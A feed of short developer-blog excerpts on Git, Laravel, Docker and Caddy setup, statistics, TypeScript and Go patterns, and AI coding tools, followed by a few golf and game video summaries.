    What Founders Get Wrong About Developer Speed (and What It Really Costs)
    Let’s be honest, if you’ve ever worked at a startup, you’ve heard it: “Can we ship this faster?” From the founder’s perspective, it’s all about momentum. From the developer’s side? It’s usually panic, duct tape, and a quiet prayer that no one notices the 600-line function you just pushed to production. So let’s talk about what “developer speed” really means and where it goes wrong. 1. Speed without direction = chaos You’ll move, but you'll probably break your nose (and your codebase) in the process. 2. Thinking short-term creates long-term pain What felt “fast” today becomes the bottleneck tomorrow. 3. Design and UX suffer when devs are rushed “Why aren’t users converting?” Spoiler: because no one thought about them. 4. Rewrites are way more expensive than getting it right 5. “It’s just code” is a dangerous mindset 👋 Final Thought And if you’re a dev stuck in the “just ship it” cycle: speak up. Speed means nothing if the product isn’t stable, usable, or scalable.  ( 4 min )
    Building Event-Driven Architecture with MSK and Lambda: The Python Developer's Guide to Not Shooting Yourself in the Foot
    Breaking free from traditional Kafka patterns when AWS does the heavy lifting Picture this: You're tasked with building an event-driven solution for your business. Naturally, you're a serverless enthusiast so you look at AWS and what you see? AWS MSK for managed Kafka? Check ✅ Python Lambda for serverless compute? Check ✅ The confluent-kafka library for that sweet, sweet performance? Double check ✅✅ You fire up your IDE, start writing familiar Kafka consumer code with .poll() loops, and then... reality hits. This isn't your typical Kafka setup. Welcome to the world of Lambda Event Source Mappings (ESM), where everything you know about Kafka consumers gets turned upside down. After building multiple production EDA systems with this exact stack, I've learned that success isn't about fighting…  ( 7 min )
    Git and GitHub
    Cheat Sheet of my practice and complete step by step guidance → Click here to check by GitHub Repository What exactly is going on here? 🔹 Git is a distributed version control system designed for tracking changes in source code during software development. It allows multiple developers to collaborate on projects, managing versions and facilitating branching for parallel development. 🔹 GitHub is a web-based platform built around Git, providing hosting for Git repositories. It enhances collaboration by offering features like issue tracking, pull requests for code review, and project management tools. GitHub is widely used for open-source projects and by teams to streamline development workflows and ensure code quality through collaboration and version control. First of all Download Git Bas…  ( 5 min )
    Understanding Measures of Central Tendency and Their Importance in Data Science
    In the dynamic field of data science, interpreting data is fundamental to success. Whether predicting customer behavior, analyzing sales performance, or designing machine learning algorithms, understanding your data's characteristics is crucial. One of the primary tools for summarizing data is measures of central tendency. Measures of central tendency are statistical techniques used to determine the center or typical value of a dataset. They provide a single value that represents the entire distribution of data. The three main types are: The mean is calculated by summing all values and dividing by the number of values. It is the most commonly used measure and is particularly effective for normally distributed data. Mean = ∑x_i / n The median is the middle value when the data is arranged in…  ( 4 min )
    I just typed "big" instead of "git" ????
    A post by Talia  ( 2 min )
    Building Bod.Coach: LLM Lessons Learned The Hard Way.
    I don't like working out. I do it, but I don't like it. In fact, I was doing the same gym routine for three years without touching it because I didn't want to spend the time researching and changing the exercises I was doing to meet my distant fitness goals (Greek god—without the effort, obviously). Like any self-respecting developer, I turned to AI. Surely these models could crank out top-notch workout routines for me and I could just pop them into a database and boom—problem solved. You silly, naïve little man. Not all that glitters is gold. In the end, we successfully created Bod.Coach—a truly unique fitness experience where you are paired with a virtual fitness trainer via text message. Your trainer has an actual phone number, and you carry on a conversation with it to create your rout…  ( 8 min )
    Routing in Laravel
    🔥 A Quick Introduction to Routes in Laravel + Free Practical Project In Laravel, Routes help us define how our application should respond when a user calls a URL through a browser. Simple example: Route::get('/about', function () { return 'This is About Page'; }); Route::get() : To receive data Route::post() : To send data (forms) Route::put() : To edit data Route::delete() : To delete data Laravel allows you to group routes: Route::prefix('admin')->group(function () { Route::get('/dashboard', [DashboardController::class, 'index']); }); I created a complete project using Laravel API Routes and JWT authentication that you can use for free and learn how to: Create API Routes, Implement authentication and protection of Routes, and develop a real RESTful API. 👉 View the full project source code here: ⭐ View the project on my GitHub 💬 I would be happy if you would write me your opinion in the comments, or fork the project and start it. 🔔 Follow me for more projects: My GitHub: github.com/younesnoorzahi  ( 3 min )
    CLI vs IDE Coding Agents: Choose the Right One for 10x Productivity!
    With my ongoing research on coding agents, I am looking for tools that boost developers productivity. Lately, I came across multiple AI coding assistants such as agents that run inside your IDE and help with your daily coding tasks. Now, what if there is similar AI buddy in the terminal? Tools like ForgeCode, Aider, and Google’s Gemini CLI promise just that. GitHub Copilot, famously helped developers code ~55% faster and made 85% of them more confident in their code. AWS reported that using CodeWhisperer in an IDE let developers finish tasks 57% faster. Those stats jumped out at me – half again as fast or more! But which approach truly pays off in real-world work? In this article I’ll share what I’ve learned by using both IDE-based agents (like Copilot and CodeWhisperer) and CLI-based ag…  ( 10 min )
    Pet Care: Voice Agent for Automated Pet Profile Management & Health Tracking
    This is a submission for the AssemblyAI Voice Agents Challenge Pet Care is an AI-powered voice agent that automates key workflows in pet clinics, grooming centers, and veterinary hospitals. With just a conversation, pet owners can: Create detailed pet profiles (name, breed, age, weight, etc.) Prompt Category: Hosted at: https://pet-care-ai-assistant-5a3yldcj8.vercel.app/login Video Demo: https://drive.google.com/file/d/1i5ry7hSk76Qkc7KNBDksel53rBe4sD5K/view?usp=sharing Screenshot: Frontend: https://github.com/sakshi30/PetCare-AI-Assistant Backend: https://github.com/sakshi30/PetCare-AI-Assistant-Backend Unique Value Proposition Pet Care is designed for real-world B2C/B2B deployment in pet-focused businesses. It enables multi-step workflows using natural speech — for example: “Create a profile for Bruno, a 2-year-old male Beagle.” "Also remind me to schedule Bruno's next vaccination in 3 weeks." Why it's unique: Transcribes and understands domain-specific language (e.g., breed names, medical terms) Supports contextual follow-up queries without restarting the flow Handles structured data extraction, scheduling logic, and AI-driven Q&A in one voice interface Ideal for integration with CRM, pet clinic dashboards, and mobile apps Assembly AIs api is used to stream the query and get a response from backend using various llms Submitted by Sakshi Srivastava (https://www.linkedin.com/in/srivassa/)  ( 3 min )
    I Built a Tool That Converts React + Vite to Next.js — Here’s Why (and How You Can Use It)
    I Built a Tool That Converts React + Vite to Next.js — Here’s Why (and How You Can Use It) Hey Devs I love working with React + Vite. It's fast, modern, and super developer-friendly. But every time I had to move a project to Next.js for SEO, SSR, or routing reasons… it was a mess. Manually migrating a React + Vite project to Next.js means: Replacing react-router with App Router or Pages Router Restructuring folders (/pages or /app) Managing "use client" everywhere Fixing hooks and providers Losing precious hours (and patience) So I built something to help. ViteToNext.AI A tool that automatically transforms your React + Vite project into a working Next.js App Router structure. Analyzes your routes, layouts, and components using AST parsing Converts React Router to app/-based routing Preserves your layouts and providers Adds "use client" where needed Lets you preview and export your Next.js-ready code (ZIP or GitHub) You can try it here: 👉 https://vitetonext.codebypaki.online Free plan for small projects (up to 10 routes) Agency plan for full migration and GitHub integration No login required to test basic features. Because developers shouldn’t have to waste time on tedious, error-prone rewrites. This tool started as a weekend project for myself… and it quickly became something useful for others. If it helps you save time, I’d love to hear it. Support for Pages Router Auto internationalization (next-i18next, next-intl) Provider detection and wrapping More layout heuristics If you’ve tried the tool — or you’ve done this migration manually before — I’d love to hear your story. Ping me in the comments or reach out via the chat in the app. Thanks for reading And happy refactoring  ( 3 min )
    From Sierra Leone to the World: My Dev Journey + Productivity App in Progress
    Hey DEV Community! 👋 I’m Mattia from Sierra Leone 🇸🇱, and I recently started diving deeper into frontend development and UI/UX design. I’m passionate about building meaningful digital experiences, and right now, I’m creating a productivity app called Timekeeper to help users organize tasks, set reminders, and even connect with time management coaches. ⏰📱 My tech stack includes: HTML, CSS, JavaScript React.js (still learning!) Firebase & Django (early exploration) Figma for design and prototyping Why I’m Here Learn from experienced developers Share my project journey Connect with other tech lovers A Little Extra Fun fact: I enjoy blending creativity and logic, whether it’s through design or clean, user-friendly interfaces. Would love to connect and hear what you’re working on, too! Let’s grow together 🚀  ( 3 min )
    Dependency Injection in Go: The Simple Way to More Testable Code
    In this article, I'm going to explain what dependency injection is and how it solves a critical problem when building applications in Go. To make it concrete, I'll walk you through a problem I faced while building a backend for a tracker application using Test-Driven Development (TDD). The problem arose when I started writing my authentication services, specifically functions like GetUserByID and GetUserByEmail. To test my service logic, I wrote some initial tests using a mock database and a mock logger. However, I made a common mistake: I tightly coupled my UserService to those mocks. This meant that to move the application to production, I would have to go back and manually change the UserService and all its functions to use a real database and logger. This process is tiring, error-prone…  ( 6 min )
    Context Free Gramma (CFG)
    A grammar is represented by a production rule which looks like this X -> Y, it means that we can convert X to Y, where X is a non-terminal symbol, and Y could be a terminal symbol, non-terminal symbol, or the combination of both. For example, let's look at the following grammar. A -> aB B -> bA | b | ba Let's label the rule for ease of explanation. (1) A -> aB (2) (3) (4) B -> bA | b | ba We can try to expand this production rule by starting from the first rule as follwing table. apply rule No. result string A 1 aB 2 abA 1 abaB 4 ababa After applying rule number 4, we can not expand the string anymore because it is terminated. And we can say that the string ababa complies with our grammar. If you look at the above grammar, you will notice that it is nothi…  ( 7 min )
    Developer Webinar! Developers & the Open Web
    On behalf of the Developers Alliance, the leading advocate for developers worldwide, we invite you to our August 13 webinar, where you’ll hear from experts all about the open web, including: Why the open web matters for developers & users alike Issues threatening the open web How to get involved & keep the open web “open” As a developer, you won’t want to miss this. Register here! What: Webinar: Developers & the Open Web Where: Zoom, link provided upon registration When: Wednesday, August 13 at 2:00 PM EST Who: The Developers Alliance & Vivaldi Browser  ( 3 min )
    Pulse - The Living Workplace Dashboard
    This is a submission for Frontend Challenge: Office Edition sponsored by Axero, Holistic Webdev: Office Space Pulse is a revolutionary intranet homepage that reimagines workplace collaboration through the lens of a living, breathing organism. Unlike traditional corporate portals, Pulse visualizes company vitality through biometric-inspired design, real-time data visualization, and organic animations that make the workplace feel alive. The intranet is designed as a living ecosystem where: Company Heartbeat: Real-time pulse visualization showing organizational activity Team Constellations: Interactive star maps representing different departments Knowledge Garden: Resources that grow and bloom based on usage patterns Mood Weather System: Company sentiment displayed as dynamic weather patterns…  ( 6 min )
    How to Integrate OpenAI in a React App (Step-by-Step)
    Artificial Intelligence is revolutionising web development, and integrating OpenAI’s GPT API into your React application can open up a world of interactive, intelligent features. In this article, you’ll learn how to set up a basic React app and connect it with the OpenAI API to make your first AI-powered request. A simple React app with an input field where users can enter a prompt and get a response from OpenAI’s GPT model. React (Create React App or Vite) OpenAI API Key Axios or fetch for making HTTP requests If you don’t already have a React app, start one: npx create-react-app openai-react-app cd openai-react-app npm start Install Axios for easier HTTP requests: npm install axios Go to OpenAI Sign in and generate a new API key Copy and store it safely — you’ll need it soon Create a …  ( 4 min )
    Understanding Statements vs. Expressions in JavaScript
    When you're learning JavaScript, one of the most common sources of confusion is the difference between statements and expressions. They look similar, but they behave very differently, and knowing which is which can help you write better, more predictable code. This article will define statements and expressions, explain their differences, and explain why it's so important for novice and intermediate developers to know the difference. What is a statement in JavaScript? What is an expression in JavaScript? Key differences between statements and expressions Types of expressions in JavaScript Common mistakes beginners make A statement in programming is like a complete sentence in English; it instructs the computer to perform a specific action. Definition: They cause actions (e.g., assign a val…  ( 5 min )
    Human Coder Defeats OpenAI in Tokyo—What It Means for the Future of AI Development
    When a lone human programmer stood victorious against an OpenAI system in a live Tokyo showdown, the world didn’t just witness a competition—it saw a signal flare for the future of artificial intelligence. In a world increasingly dominated by generative AI and LLMs, a recent event in Tokyo turned heads worldwide. A talented software developer named Kaito Nakamura beat a sophisticated OpenAI agent in a live coding tournament—yes, a human actually won. This wasn’t a fluke. The tournament, overseen by a panel of tech experts and watched by a live audience, tested advanced logic-building, real-time debugging, and architecture planning. It’s easy to dismiss this as a headline-grabbing moment. But there are several core reasons why this outcome is a game-changer: AI's limits were exposed — espec…  ( 5 min )
    When Robots Build Your Dining Table
    Ten years ago, if you wanted a custom wooden dining table, you'd call a local carpenter. Today, you might be placing that order with a factory where the closest thing to a human craftsman is the engineer who programmed the robots. And here's the thing—the table might actually turn out better. The furniture industry is undergoing a massive shift. Robotic manufacturing systems are cranking out everything from simple pine shelves to complex hardwood designs that would challenge even experienced woodworkers. These aren't your typical factory assembly lines either. We're talking about sophisticated setups where robots handle raw lumber at one end and spit out finished furniture at the other, with barely any human intervention. Modern furniture robots are engineering marvels. Picture a massive m…  ( 5 min )
    Day 2: Introduction to Linux and Basic Commands
    Table of Contents What is Linux? History of Linux Basic Linux Commands What is Linux Key Features of Linux Open source: Anyone can view, modify, and distribute the code. Stable: Rarely crashes and handles long uptimes. Secure: Fewer viruses and robust user permission control. Flexible: Can be customized for desktops, servers, embedded devices. Multi-user and multitasking: Supports multiple users and concurrent tasks efficiently. History of Linux How Linux Took Over the Tech World—In Simple Terms Early 1990s: A curious student named Linus Torvalds builds a small program (kernel) as a personal project. He shares it online, inviting others to join the ride. 1991: The first version of “Linux” is born. It's like the central engine (or heart) of a computer—but it needs other pieces to become fully usable. Mid-1990s to 2000s: Developers across the globe start adding the missing tools and features. Different versions, called "distributions" like Ubuntu, Fedora, and Red Hat—start popping up. 2000s: Linux becomes a go-to for powering servers. It later grows into mobile tech, forming the foundation for Android. Today: Linux is everywhere—in phones, laptops, smart devices, cloud infrastructure, supercomputers, and even spacecraft. Thanks to open collaboration, it keeps evolving. Basic Linux Commands Command Description ls List files and directories pwd Show current directory path cd [dir] Change directory mkdir [dir] Create new directory rmdir [dir] Remove empty directory rm [file] Delete file rm -r [dir] Delete directory and contents cp [src] [dest] Copy file or directory mv [src] [dest] Move/rename file or directory touch [file] Create empty file cat [file] View file content nano [file] Edit file using nano editor sudo apt install [pkg] Install package sudo apt remove [pkg] Remove package ✅ Why Use Linux? Free to use and distribute Highly customizable Supported by a large global community Used in cloud computing, DevOps, cybersecurity, AI, and more  ( 4 min )
    Modern Bazel with Python - Module 1
    Module 1: Modern Bazel with Python - Hello World Foundation Why Bazel is Revolutionary for Python Development Before diving into code, let's understand why Google open-sourced their internal build system and why it's becoming essential for serious Python development. Most Python developers are familiar with this workflow: pip install -r requirements.txt python setup.py build python -m pytest This approach breaks down at scale: Inconsistent builds: "Works on my machine" syndrome Slow rebuilds: Everything rebuilds even when only one file changes Dependency hell: Version conflicts across projects No parallelization: Tests and builds run sequentially Language barriers: Hard to integrate C++, Java, or other languages Bazel introduces several revolutionary concepts: Hermetic Builds…  ( 7 min )
    Claude Can Simulate Entire Development Teams
    Claude can simulate entire development teams Source: Advanced prompt engineering patterns I've been using Claude Code for months, but this discovery completely changed how I work. Catch 3x more issues before production. Claude can simulate entire development teams. This isn't obvious from the documentation, but once you know it, you can't unsee it. Use multiple personas for comprehensive code reviews Here's exactly how I use this in production: Review this PR from three perspectives: 1. Security Engineer: Focus on vulnerabilities 2. Performance Expert: Focus on bottlenecks 3. Junior Developer: Focus on readability [paste code here] Claude's training includes diverse perspectives that can be explicitly activated. This aligns with how Claude was trained and explains why certain prompts consistently outperform others. Before: Catch 3x more issues before production After: 85%+ success rate on first try Time saved: 2-3 hours per complex feature I can finally have IDE, browser, terminal, and docs open simultaneously. The LG 40WP95C-W UltraWide 5K2K has been essential - see entire codebases without alt-tabbing with 5120x2160 resolution (affiliate link). Try this technique on your current bug/feature Measure the difference in iterations needed Share your results in the comments Source: Advanced prompt engineering patterns Related: Anthropic's prompt engineering guide My other Claude discoveries: [link to more posts] What hidden Claude features have you discovered? Let's build a knowledge base together!  ( 3 min )
    Inteligência Artificial em Foco: Principais Modelos, Plataformas e Integrações
    💡 Panorama das Inteligências Artificiais no Mercado Este documento fornece uma visão ampla sobre as principais Inteligências Artificiais (IAs) disponíveis no mercado, suas aplicações e como a plataforma Adapta ONe propõe centralizar e integrar essas ferramentas em sua versão Pro. O objetivo é apresentar um comparativo acessível para profissionais, entusiastas e empresas que buscam potencializar sua produtividade e inovação com IA. ChatGPT (OpenAI) Tipo: IA conversacional / geração de texto Modelos: GPT-3.5, GPT-4, GPT-4o Recursos: Geração de texto, análise de linguagem, assistência em programação, redação, tradução e automação de tarefas. Link: https://chat.openai.com 2. GitHub Copilot Tipo: Assistente de programação Base: GPT da OpenAI Recursos: Sugestão de códig…  ( 5 min )
    How AI Is Revolutionizing Industrial Automation (Faster Than You Think!)
    In today’s fast-paced world, Artificial Intelligence (AI) is no longer just a buzzword, it’s a game-changer in industrial automation. From smart robotics on factory floors to predictive maintenance that prevents costly downtime, AI is transforming how industries operate. With real-time data analysis, AI-powered systems can optimize production, reduce human error, and increase overall efficiency like never before. Tasks that once took hours now take minutes or even seconds with machine learning algorithms and intelligent sensors in control. Industries like manufacturing, energy, automotive, and logistics are embracing AI to cut costs, improve safety, and scale faster. It's not just about automation anymore; it's about smart automation systems that can learn, adapt, and evolve. As AI continues to evolve, companies that don’t adapt risk falling behind. Curious to see real-world examples and explore how AI can reshape your industry? 👉 Read the full article here on our website  ( 3 min )
    Building Real-Time Web Apps with WebTransport (Replacing WebSockets?)
    Building Real-Time Web Apps with WebTransport (Replacing WebSockets?) Hey fellow devs! You know that feeling when you start reading about a technology and you’re like: Wait… how come I don’t know about this already? Well, that was me last week when I stumbled upon WebTransport. At first I was like Oh, just another hyped term. Must be some new cool thing wrapper around WebSockets. But boy was I wrong. After reading more, it seems WebTransport might really become the next generation protocol for building real-time web applications. In this article we will try to understand what exactly is WebTransport, why it’s so exciting and how does it compare with good old WebSockets, all from the perspective of developers like us who are still learning but also want to keep an eye at future! But befo…  ( 6 min )
    How to Choose Career-Focused Degrees That Employers Want
    Let’s get this straight: not all degrees are created equal. In 2025, the job market is brutal. Employers want more than just a certificate—they want proof you can solve problems, adapt quickly, and hit the ground running. That’s why choosing a career-focused degree is your smartest move if you’re planning to study abroad. But what makes a degree "career-focused"? And how do you know which one actually leads to jobs? Let’s break it down. A career-focused degree is a program that’s built to prepare you for real-world work. It’s not about theory alone. These degrees blend classroom knowledge with practical skills, internships, and clear pathways into the industry. Think of it like this: A typical academic degree = Knowledge A career-focused degree = Knowledge + Skills + Opportunity Examples i…  ( 5 min )
    Vector Databases for Data Scientists: What, Why, and When to Use Them
    What if your database actually brought you, not just similar words but meaning, intent, and similarity? Science fiction no longer. That’s what vector databases bring, and it’s transforming the work of data scientists handling unstructured data, whether pictures and sound or customer feedback and code. When I first heard the term vector databases, I did not consider it seriously as I assumed it was a hype following AI. I went ahead and tried it out and even implemented it in a semantic search application, and I just could not expect the experience to be so different. Now, “searching” never seemed quite so much like reading out of the dictionary as it seemed to be conversing with someone who knows what you’re discussing. Let’s break down what a vector database is, why you’ll want to care, an…  ( 6 min )
    How to Install Docker Engine on Ubuntu (Debian)
    📌 This is a follow-up to my previous post: How Docker Works Internally Before you can install Docker Engine on a fresh Ubuntu (or Debian-based) system, you need to set up Docker’s official apt repository. Once configured, you’ll be able to install and update Docker packages directly from Docker’s maintained repositories, ensuring you're always using the latest stable versions.- Set up Docker's apt repository Follow these steps to configure the repository: # Update package index and install prerequisites: sudo apt-get update sudo apt-get install -y ca-certificates curl gnupg # Create a directory for Docker's GPG key: sudo install -m 0755 -d /etc/apt/keyrings # Download Docker's official GPG key and convert to gpg format: curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gp…  ( 4 min )
    🤔 If Your Architecture Ignores the Business, It’s Already Broken
    Welcome back. In the last part of this series, we looked at the Vision column of the Architecture Work Canvas—where you define goals, constraints, stakeholders, and outcomes. Today, we’re moving into the second column: Business Architecture. This is the bridge between business intent and technical design. And honestly, it’s where a lot of architecture efforts start to fall apart. The truth is, IT solutions exist to serve business processes. But many architects were never really trained to map those business connections. They get handed a goal or a problem, and they dive straight into systems and tools—without stopping to ask how the business actually works. And that’s where things go wrong. You end up with solutions that are technically solid but completely disconnected from what users an…  ( 5 min )
    Solving the Flutter `did_send` Crash: A Deep Dive into Isolate Race Conditions
    Solving the Flutter did_send Crash: A Deep Dive into Isolate Race Conditions TL;DR: A race condition in Flutter isolate communication was causing fatal did_send crashes in our production sports app. The fix required async coordination, proper cleanup sequencing, and a critical 100ms delay. Here's how we solved it. Imagine this scenario: Your Flutter app is running smoothly in production with thousands of daily users. Everything works perfectly until users start reporting random crashes when navigating to specific screens. The crash logs show a cryptic, terrifying error: [FATAL:flutter/lib/ui/window/platform_message_response_dart_port.cc(53)] Check failed: did_send. This wasn't just any crash—it was a fatal engine error that would completely terminate the app. No graceful error handlin…  ( 6 min )
    Serve Static Files with Caddy: Minimal Setup Guide
    Hi there! I'm Maneshwar. Right now, I’m building LiveAPI, a first-of-its-kind tool that helps you automatically index API endpoints across all your repositories. LiveAPI makes it easier to discover, understand, and interact with APIs in large infrastructures. Caddy is a lightweight, modern web server with automatic HTTPS, easy config, and a powerful plugin ecosystem. Here's how to quickly serve static files with it. sudo apt install -y debian-keyring debian-archive-keyring apt-transport-https curl -1sLf 'https://dl.cloudsmith.io/public/caddy/stable/gpg.key' | sudo gpg --dearmor -o /usr/share/keyrings/caddy-stable-archive-keyring.gpg curl -1sLf 'https://dl.cloudsmith.io/public/caddy/stable/debian.deb.txt' | sudo tee /etc/apt/sources.list.d/caddy-stable.list sudo apt update sudo apt install …  ( 4 min )
    The Complete Beginner’s Guide to Flutter’s Automated Testing
    Introduction Testing is a critical, yet overlooked, part of modern app development as it helps prevent bugs from slipping through the cracks and affecting users. It should be an integral part of a healthy code base and must be maintained like any other code written in the repository. Flutter provides a robust framework and excellent tools for writing and running tests at different levels of your application. Whether you're building a small app or scaling a large codebase, testing ensures that your code is reliable, maintainable, and free from regressions. In this article, we'll explore the general idea of automated testing and the three main types of testing in Flutter: Unit Testing, Integration Testing, and Widget Testing. Each serves a specific purpose in the development of a lifecycl…  ( 13 min )
    How to Set Up Branded Support Emails for Your Side Projects (for Almost Free)
    If you're a bootstrapped founder, chances are you’ve hit this point: your app or browser extension is live, users are trickling in, and suddenly you need to answer emails like a grown-up. Enter: support@yourproject.com. But how do you do that without signing up for Google Workspace or Help Scout for every domain you own? This post shows you a dead-simple, cost-efficient setup to: Receive emails at branded addresses like support@projectx.com Reply from Gmail without the dreaded "sent on behalf of" Keep costs close to zero using Cloudflare and Amazon SES Let’s get into it. Here’s what the stack looks like: Cloudflare Email Routing — receives support@ and forwards to your Gmail Gmail — one central inbox to manage replies Amazon SES SMTP — lets Gmail send mail from your domain (authentic, no …  ( 4 min )
    Top 7 Featured DEV Posts of the Week
    Welcome to this week's Top 7, where the DEV editorial team handpicks their favorite posts from the previous week. Congrats to all the authors that made it onto the list 👏 🧠 How AI Agents Learned to Agree Through Structured Debate Mak Sò ・ Jul 13 #ai #python #opensource #machinelearning @marcosomma demonstrates how six AI agents with opposing ideologies successfully reached 85% consensus on ethical AI deployment through structured debate using the Orka reasoning engine. Why Women in Tech isn't enough Salma Alam-Naylor ・ Jul 17 #womenintech #careerdevelopment #inclusion #fullstack @whitep4nth3r argues that current "Women in Tech" initiatives create segregated spaces that exclude men from diversity conversations, ultimately limi…  ( 5 min )
    Build an AI Agent for Lead Qualification with GPT‑5
    Speed matters. In today’s competitive landscape, leads expect near-instant responses. GPT‑5-powered AI agents allow you to qualify leads automatically — without relying on human sales reps. This guide breaks down how you can deploy a GPT‑5 agent to evaluate, score, and route leads in real time. It’s more than a chatbot. A lead qualification agent powered by GPT‑5: Understands inbound questions and form submissions Applies your business logic to filter or score leads Asks intelligent follow-up questions Tags or routes leads based on priority Sends enriched data to your CRM or automation platform This is not a rule-based decision tree — it’s an autonomous reasoning engine that can adapt to input contextually. Learn more: What AI Agents Can Do for Your Business Feature Value for Sales Auto…  ( 4 min )
    We raised $29M to make your agents stronger, smarter, and better
    Support us on Twitter by liking or just quoting with whatever you feel like. We put some real work into this video, do check it out. // Detect dark theme var iframe = document.getElementById('tweet-1947680602083496319-912'); if (document.body.className.includes('dark-theme')) { iframe.src = "https://platform.twitter.com/embed/Tweet.html?id=1947680602083496319&theme=dark" } Our thoughts on the future of the Agents landscape AI agents today don't learn from experience. You can engineer prompts endlessly, but your agents won't build intuition over time. They won't learn why API edge cases need special handling or remember your specialised way of interacting with complex systems. At Composio, we're building the infrastructure that enables AI agents to evolve, wit…  ( 4 min )
    Mean, Median and Mode in Statistics
    Statistics, as a whole, is one of the subjects I enjoy most as a data scientist. In this article, we explore measures of central tendency which are part of the fundamentals of statistics and get to understand how they are used. Measures of central tendency are values that are used to summarize data in order to understand how the data is distributed. They include; mean, median and mode i) Mean The mean is used when you want to see where the average value of the data set lies which helps you understand the nature of the distribution. It is also used to fill in missing values in data set where the distribution is a symmetric and has no outliers. Calculating mean using python library numpy: import numpy as np num = [2,2,3,4,8,5] mean = np.mean(num) print(mean) ii) Median Calculating median using python library numpy: import numpy as np num = [2,2,3,4,8,5] median = np.median(num) print(median) iii)Mode It refers to the most repeated value in a data set. The mode is also used to replace missing values depending on how many times it appears and the nature of the distribution. Calculating mode sing python library statistics: import statistics num = [2,2,3,4,8,5] mode = statistics.mode(num) print(mode) In conclusion, the measures of central tendency are fundamental when exploring your data and can tell you so much about it. I hope this article has helped to shed some light on your understanding of the measures of central tendency and their importance!  ( 3 min )
    These TypeScript Bugs Look Innocent—But Cost Me Hours
    Hey folks! 👋 TypeScript in real-world codebases, I’ve noticed that some bugs don’t scream—they whisper. These are small quirks that don’t throw errors during compile time but cause confusion (or worse) at runtime. 🪓 1. Misusing in for Type Narrowing type Dog = { bark: () => void }; type Cat = { meow: () => void }; type Animal = Cat | Dog; function speak(animal: Animal) { if ('bark' in animal) { animal.bark(); } else { animal.meow(); // ❌ Error if animal is `{ bark: undefined }` } } 👀 Problem: TypeScript checks only property existence, not whether it's undefined. ✅ Fix: Add a runtime check: if ('bark' in animal && typeof animal.bark === 'function') { animal.bark(); } 🧨 2. Over-trusting as assertions const user = JSON.parse(localStorage.getItem('user')) as { name: stri…  ( 4 min )
    Level Up Your Go Code: Must-Know Design Patterns for Cleaner, Scalable Apps
    Hi there! I'm Shrijith Venkatrama, founder of Hexmos. Right now, I’m building LiveAPI, a first of its kind tool for helping you automatically index API endpoints across all your repositories. LiveAPI helps you discover, understand and use APIs in large tech infrastructures with ease. Design patterns in Go help you write code that's easier to maintain, scale, and understand. Go’s simplicity doesn’t mean you skip patterns—it means you use them thoughtfully. This post dives into the most useful design patterns for Go developers, with practical examples you can compile and run. We’ll cover 7 patterns, each with clear explanations, code, and tables to break things down. Let’s get started. The Singleton pattern ensures a single instance of a struct exists and provides global access to it. In Go,…  ( 8 min )
    WORLD HACKATHON EXPERIENCE SERIES 1
    I Joined the World’s Biggest AI Hackathon… and Started 10 Days to the Deadline 😅 I haven’t been active for a while here, but like I promised in my last post, I’ll be sharing my experience participating in the world’s largest AI Hackathon hosted by Bolt. How it started... Then came the update: the Hackathon dates were pushed to June 1st–30th. Then I got an email... During my #100daysofcode, I had started a personal project, a solution to a problem I personally face: organizing screenshots. Originally, I had another idea in mind for the Hackathon, something dear to my heart. I really wanted to see that app come to life and watch people actually use it. But the project was way too large to finish within the time frame. So I decided to go with the project I was already working on, the one about organizing screenshots. 30 days. 12 days Already gone. 10 days to the end of the Hackathon. Why? 😆😅 Let’s just say… life was life-ing. Catch me in Series 2 where I share exactly how I managed the last-minute pressure.  ( 3 min )
    No Laying Up Podcast: Chop Session with DJ Pie | Trap Draw, Ep 351
    TL;DR DJ fills in for Randy on the latest Chop Session, where the crew issues some mea culpas, shares recent life updates, ventures into non-golf sports takes and muses on AI. They also plug their support of the Evans Scholars Foundation, shout out sponsors ServPro, Whoop and FanDuel, and remind listeners to subscribe to their newsletter, YouTube channel and consider joining “The Nest” for exclusive perks.  ( 3 min )
    Golf.com: Overnight at Bethpage Black: Behind the scenes at golf's most sought-after muni
    TL;DR Bethpage Black is one of the world’s toughest yet most affordable public courses, and die-hard golfers actually camp out overnight just to snag tee times. This installment of Destination GOLF: Long Island introduces the groups behind the queue, the state-park crew who keeps it running, and GOLF.com’s James Colgan teeing off with three locals who embody both the private-club and public-course vibes. All roads in the series lead to the upcoming Ryder Cup at Bethpage Black—locals are primed to make some serious noise. Catch every episode of Destination GOLF: Long Island on GOLF.com’s YouTube channel and follow for more insider access, gear reviews and tour-pro interviews.  ( 3 min )
    Grant Horvat: Can I Break 50 with Collin Morikawa?
    In a recent video, Collin Morikawa and Grant Horvat take on the ultimate front-tee challenge at TPC Las Vegas, aiming to break 50 while swapping tips, celebrating great shots and laughing off the misses. Naturally, they’ve teamed up with PGA TOUR Superstore—highlighting its Players’ Club Plus perks (daily free practice bays, fittings, lessons and more)—and dropped a bunch of promo codes for golf clothes, putters and gear. Follow along on Instagram, X and YouTube for the full action and exclusive discounts!  ( 3 min )
    Peter Finch Golf: My Lesson With THE WORLD'S No1 PUTTING COACH | Phil Kenyon
    Phil Kenyon, the world-renowned putting coach behind champions like Rory McIlroy and Scottie Scheffler, hooks up with Peter Finch for an in-depth putting masterclass. They cover green reading, putter setup, stroke path, tempo and distance control—plus mindset drills and pro tips you can use right away to start sinking more putts. Along the way you’ll find links to Phil’s website, a deep dive on strokes-gained stats and Finch’s gear page (with discount codes!). Whether you’re a total newbie or a low-handicap player, this session is a tour-level shortcut to lower scores on the greens.  ( 3 min )
    Rick Shiels Golf: Do this to PURE Your Golf Irons!
    Rick Shiels, PGA pro and YouTuber, invites you to follow him and Harold on social media, subscribe to LIV Golf and his podcast, grab limited-edition merch, and check out his equipment review channel and apparel partner Redvanly. His channel is all about helping you play and enjoy golf more—covering gear reviews, swing fixes (slice, hook, driving distance), iron play, chipping, pitching (including backspin), putting tips, plus head-to-head matches against top pros.  ( 3 min )
    Noclip: The Story Behind Battlefield 3's Divisive Campaign - Noclip
    Noclip’s latest documentary features Danny O’Dwyer sitting down with Battlefield 3’s single-player lead designer David Goldfarb to unpack what made the campaign so divisive. They dive into each signature mission—from the jet-fueled “Going Hunting” and tank-heavy “Thunder Run” to the moody “Night Shift,” the intro level “Swordbreaker,” and the gritty Paris set-piece “Comrades.” Along the way they chat about how Frostbite 2 shaped the game’s look and feel, the role of quick-time events, and what it was like remembering development years later. (Oh, and if you want to support more free game docs, yup—you know where the Patreon link is.)  ( 3 min )
    IGN: Pokemon Legends: Z-A - Official Story Trailer | Pokemon Presents July 2025
